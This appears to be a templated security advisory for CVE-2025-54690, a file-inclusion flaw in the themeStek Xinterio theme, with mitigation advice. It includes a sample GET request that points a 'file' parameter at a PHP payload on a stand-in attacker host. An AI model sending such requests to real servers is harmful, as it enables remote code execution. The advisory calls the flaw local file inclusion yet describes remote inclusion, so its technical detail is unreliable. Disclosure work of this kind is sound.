Overview
A severe vulnerability, CVE-2025-54690, has been discovered in themeStek Xinterio, a popular PHP-based component. This vulnerability is especially critical as it allows for PHP Local File Inclusion (LFI), thereby enabling an attacker to execute arbitrary PHP code on the server. If exploited, the vulnerability can result in system compromise or data leakage, posing serious risks to affected organizations and their data. Given the wide use of themeStek Xinterio and the severity of potential outcomes, it’s crucial for users to understand and address this vulnerability promptly.
Vulnerability Summary
CVE ID: CVE-2025-54690
Severity: Critical, CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise, data leakage
Affected Products
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Product | Affected Versions
themeStek Xinterio | n/a through 4.2
How the Exploit Works
The vulnerability arises due to improper control of filename for include/require statement in PHP program. This allows an attacker to manipulate the ‘require’ or ‘include’ statements to include a remote file from an external server. Once the remote file is included, it is executed in the context of the application, leading to potential unauthorized access, system compromise, or data leakage.
Conceptual Example Code
Here is a conceptual example of how a malicious actor might exploit this vulnerability:
GET /path/to/vulnerable.php?file=http://malicious.example.com/malicious_code.php HTTP/1.1
Host: vulnerable.example.comIn the above example, the attacker sends a GET request to the vulnerable PHP file on the server, modifying the ‘file’ parameter to include a malicious PHP file hosted on an external server. When the vulnerable server receives the request, the malicious code is included and executed in the server context.
Mitigation Guidance
Users are urged to apply the vendor-provided patch which addresses this vulnerability as soon as possible. In cases where immediate patching is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as a temporary mitigation strategy. These can be configured to block or alert on attempts to include files from external sources. However, these are merely stopgap measures and cannot substitute for patching the vulnerability, which remains the most effective and robust solution.